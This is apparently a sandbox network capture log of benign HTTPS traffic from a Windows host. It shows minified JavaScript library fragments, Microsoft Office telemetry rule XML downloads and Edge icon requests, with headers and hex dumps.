2024-11-23 08:16:56 UTC	3256	IN	Data Raw: 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 3b 76 61 72 20 69 3d 21 31 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 69 29 7b 69 66 28 72 2e 74 68 72 6f 77 44 65 70 72 65 63 61 74 69 6f 6e 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 6e 29 3b 72 2e 74 72 61 63 65 44 65 70 72 65 63 61 74 69 6f 6e 3f 63 6f 6e 73 6f 6c 65 2e 74 72 61 63 65 28 6e 29 3a 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 6e 29 2c 69 3d 21 30 7d 72 65 74 75 72 6e 20 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 3b 76 61 72 20 75 2c 63 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 74 2c 6e 29 7b 76 61 72 20 72 3d 7b 73 65 65 6e 3a 5b 5d 2c 73 74 79 6c 69 7a 65 3a 66 7d 3b 72 65 74 75 72 6e 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e Data Ascii: his,arguments)};var i=!1;return function(){if(!i){if(r.throwDeprecation)throw new Error(n);r.traceDeprecation?console.trace(n):console.error(n),i=!0}return t.apply(this,arguments)}};var u,c={};function a(t,n){var r={seen:[],stylize:f};return arguments.len
2024-11-23 08:16:56 UTC	16384	IN	Data Raw: 63 65 28 2f 27 2f 67 2c 22 5c 5c 27 22 29 2e 72 65 70 6c 61 63 65 28 2f 5c 5c 22 2f 67 2c 27 22 27 29 2e 72 65 70 6c 61 63 65 28 2f 28 5e 22 7c 22 24 29 2f 67 2c 22 27 22 29 2c 75 3d 74 2e 73 74 79 6c 69 7a 65 28 75 2c 22 73 74 72 69 6e 67 22 29 29 7d 72 65 74 75 72 6e 20 75 2b 22 3a 20 22 2b 63 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 29 7b 72 65 74 75 72 6e 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 74 7d 66 75 6e 63 74 69 6f 6e 20 67 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 5a 28 74 29 7b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 74 7d 66 75 6e 63 74 69 6f 6e Data Ascii: ce(/'/g,"\\'").replace(/\\"/g,'"').replace(/(^"\|"$)/g,"'"),u=t.stylize(u,"string"))}return u+": "+c}function p(t){return Array.isArray(t)}function h(t){return"boolean"==typeof t}function g(t){return null===t}function Z(t){return"number"==typeof t}function
2024-11-23 08:16:56 UTC	12120	IN	Data Raw: 65 74 75 72 6e 20 68 3f 65 3a 7b 7d 3b 6a 3d 4e 28 65 2c 5f 2c 41 29 7d 7d 6d 7c 7c 28 6d 3d 6e 65 77 20 72 2e 5a 29 3b 76 61 72 20 54 3d 6d 2e 67 65 74 28 65 29 3b 69 66 28 54 29 72 65 74 75 72 6e 20 54 3b 6d 2e 73 65 74 28 65 2c 6a 29 2c 24 28 65 29 3f 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 2e 61 64 64 28 74 28 72 2c 6e 2c 75 2c 72 2c 65 2c 6d 29 29 7d 29 29 3a 42 28 65 29 26 26 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 72 2c 69 29 7b 6a 2e 73 65 74 28 69 2c 74 28 72 2c 6e 2c 75 2c 69 2c 65 2c 6d 29 29 7d 29 29 3b 76 61 72 20 4c 3d 4f 3f 45 3f 79 2e 5a 3a 5a 2e 5a 3a 45 3f 73 2e 5a 3a 63 2e 5a 2c 6b 3d 78 3f 76 6f 69 64 20 30 3a 4c 28 65 29 3b 72 65 74 75 72 6e 28 30 2c 69 2e 5a 29 28 6b 7c 7c 65 2c 28 Data Ascii: eturn h?e:{};j=N(e,_,A)}}m\|\|(m=new r.Z);var T=m.get(e);if(T)return T;m.set(e,j),$(e)?e.forEach((function(r){j.add(t(r,n,u,r,e,m))})):B(e)&&e.forEach((function(r,i){j.set(i,t(r,n,u,i,e,m))}));var L=O?E?y.Z:Z.Z:E?s.Z:c.Z,k=x?void 0:L(e);return(0,i.Z)(k\|\|e,(
2024-11-23 08:16:56 UTC	16384	IN	Data Raw: 7b 72 65 74 75 72 6e 20 6e 65 77 20 63 2e 5a 28 74 29 7d 3a 61 2e 5a 3b 76 61 72 20 6c 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 63 3d 2d 31 2c 61 3d 69 2e 5a 2c 6c 3d 74 2e 6c 65 6e 67 74 68 2c 76 3d 21 30 2c 64 3d 5b 5d 2c 70 3d 64 3b 69 66 28 6e 29 76 3d 21 31 2c 61 3d 6f 2e 5a 3b 65 6c 73 65 20 69 66 28 6c 3e 3d 32 30 30 29 7b 76 61 72 20 68 3d 65 3f 6e 75 6c 6c 3a 66 28 74 29 3b 69 66 28 68 29 72 65 74 75 72 6e 28 30 2c 73 2e 5a 29 28 68 29 3b 76 3d 21 31 2c 61 3d 75 2e 5a 2c 70 3d 6e 65 77 20 72 2e 5a 7d 65 6c 73 65 20 70 3d 65 3f 5b 5d 3a 64 3b 74 3a 66 6f 72 28 3b 2b 2b 63 3c 6c 3b 29 7b 76 61 72 20 67 3d 74 5b 63 5d 2c 5a 3d 65 3f 65 28 67 29 3a 67 3b 69 66 28 67 3d 6e 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d 3d 5a Data Ascii: {return new c.Z(t)}:a.Z;var l=function(t,e,n){var c=-1,a=i.Z,l=t.length,v=!0,d=[],p=d;if(n)v=!1,a=o.Z;else if(l>=200){var h=e?null:f(t);if(h)return(0,s.Z)(h);v=!1,a=u.Z,p=new r.Z}else p=e?[]:d;t:for(;++c<l;){var g=t[c],Z=e?e(g):g;if(g=n\|\|0!==g?g:0,v&&Z==Z
2024-11-23 08:16:56 UTC	16384	IN	Data Raw: 72 3b 72 65 74 75 72 6e 20 6e 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 69 29 7b 69 66 28 65 28 74 2c 6e 2c 69 29 29 72 65 74 75 72 6e 20 72 3d 6e 2c 21 31 7d 29 29 2c 72 7d 2c 69 3d 6e 28 37 39 39 32 36 29 2c 6f 3d 6e 28 36 37 30 37 34 29 3b 76 61 72 20 75 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 72 28 74 2c 28 30 2c 6f 2e 5a 29 28 65 2c 33 29 2c 69 2e 5a 29 7d 7d 2c 34 30 37 35 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 35 36 32 35 29 2c 69 3d 6e 28 36 37 30 37 34 29 2c 6f 3d 6e 28 38 34 37 30 38 29 2c 75 3d 4d 61 74 68 2e 6d 61 78 2c 63 3d 4d 61 74 68 2e 6d 69 6e 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 61 3d Data Ascii: r;return n(t,(function(t,n,i){if(e(t,n,i))return r=n,!1})),r},i=n(79926),o=n(67074);var u=function(t,e){return r(t,(0,o.Z)(e,3),i.Z)}},40755:function(t,e,n){"use strict";var r=n(25625),i=n(67074),o=n(84708),u=Math.max,c=Math.min;e.Z=function(t,e,n){var a=
2024-11-23 08:16:56 UTC	3880	IN	Data Raw: 73 28 6e 29 29 29 29 29 29 3b 76 61 72 20 6e 7d 2c 72 65 67 65 78 3a 65 3d 3e 7b 72 65 74 75 72 6e 20 4f 28 67 28 74 2c 28 6e 3d 65 2c 79 28 28 74 3d 3e 77 28 74 29 26 26 42 6f 6f 6c 65 61 6e 28 74 2e 6d 61 74 63 68 28 6e 29 29 29 29 29 29 29 3b 76 61 72 20 6e 7d 7d 29 2c 78 3d 4f 28 79 28 77 29 29 2c 5f 3d 74 3d 3e 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 6c 28 74 29 2c 7b 62 65 74 77 65 65 6e 3a 28 65 2c 6e 29 3d 3e 5f 28 67 28 74 2c 28 28 74 2c 65 29 3d 3e 79 28 28 6e 3d 3e 6d 28 6e 29 26 26 74 3c 3d 6e 26 26 65 3e 3d 6e 29 29 29 28 65 2c 6e 29 29 29 2c 6c 74 3a 65 3d 3e 5f 28 67 28 74 2c 28 74 3d 3e 79 28 28 65 3d 3e 6d 28 65 29 26 26 65 3c 74 29 29 29 28 65 29 29 29 2c 67 74 3a 65 3d 3e 5f 28 67 28 74 2c 28 74 3d 3e 79 28 28 65 3d 3e 6d 28 65 29 26 Data Ascii: s(n))))));var n},regex:e=>{return O(g(t,(n=e,y((t=>w(t)&&Boolean(t.match(n)))))));var n}}),x=O(y(w)),_=t=>Object.assign(l(t),{between:(e,n)=>_(g(t,((t,e)=>y((n=>m(n)&&t<=n&&e>=n)))(e,n))),lt:e=>_(g(t,(t=>y((e=>m(e)&&e<t)))(e))),gt:e=>_(g(t,(t=>y((e=>m(e)&

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:55 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081656Z-15b8b599d886w4hzhC1TEBb4ug00000002qg0000000098ke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:55 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:56 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081656Z-174c587ffdfn4nhwhC1TEB2nbc00000002ng00000000h4sn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:56 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:56 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:56 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081656Z-174c587ffdfl22mzhC1TEBk40c00000002tg00000000ac4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:56 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:56 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081656Z-178bfbc474bfw4gbhC1NYCunf4000000044g00000000c4q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:56 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ba159eff-a01e-000d-0e45-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081656Z-178bfbc474bvjk8shC1NYC83ns000000043g000000002cbv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49888	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:57 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:57 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 3792c254-001e-004e-6b5c-3dade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081657Z-178bfbc474b9xljthC1NYCtw94000000044g000000004u73 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:57 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49872	23.209.72.25	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	751	OUT	GET /statics/icons/favicon_newtabpage.png HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1
2024-11-23 08:16:57 UTC	1002	IN	HTTP/1.1 200 OK Content-Type: image/png ETag: "bed4a7cc95f6106c7a3d46d2b50cb3f8:1614709529.490117" Last-Modified: Tue, 02 Mar 2021 18:25:29 GMT Server: AkamaiNetStorage Date: Sat, 23 Nov 2024 08:16:57 GMT Content-Length: 354 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.210.4.165,b=794774756,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.210.4.165 Akamai-Request-ID: 2f5f4ce4 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.a504d217.1732349817.2f5f4ce4 Vary: Origin
2024-11-23 08:16:57 UTC	354	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 f7 49 44 41 54 78 01 ed 57 d1 0d 83 20 10 7d e9 04 8c d0 51 d8 a4 8e e0 06 32 42 37 b2 23 74 03 47 a0 1b b4 10 21 62 cb 79 ca d1 f8 c3 4b 5e 34 70 be 7b 22 07 08 34 fc 42 3b 8e 8e d6 f1 5d 91 5e f3 c6 25 1f 2a 27 cd 71 a0 92 77 49 90 71 54 44 5c 8c 39 02 af d5 27 cf ea 5c d0 18 3a 7b 46 ac c4 40 84 c1 f2 39 48 61 85 ff 19 50 e1 59 2b 11 8e 93 f3 8a 32 90 79 f6 1a 30 a8 33 19 8b 0d 78 dc 21 2f 53 91 01 09 56 79 2e 38 19 cd 40 33 b0 c7 c0 0d 73 c9 4d 58 ef 66 47 db 59 50 65 38 25 7d 56 d0 9e cd b3 67 04 Data Ascii: PNGIHDR szzpHYs%%IR$sRGBgAMAaIDATxW }Q2B7#tG!byK^4p{"4B;]^%*'qwIqTD\9'\:{F@9HaPY+2y03x!/SVy.8@3sMXfGYPe8%}Vg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49894	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:57 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
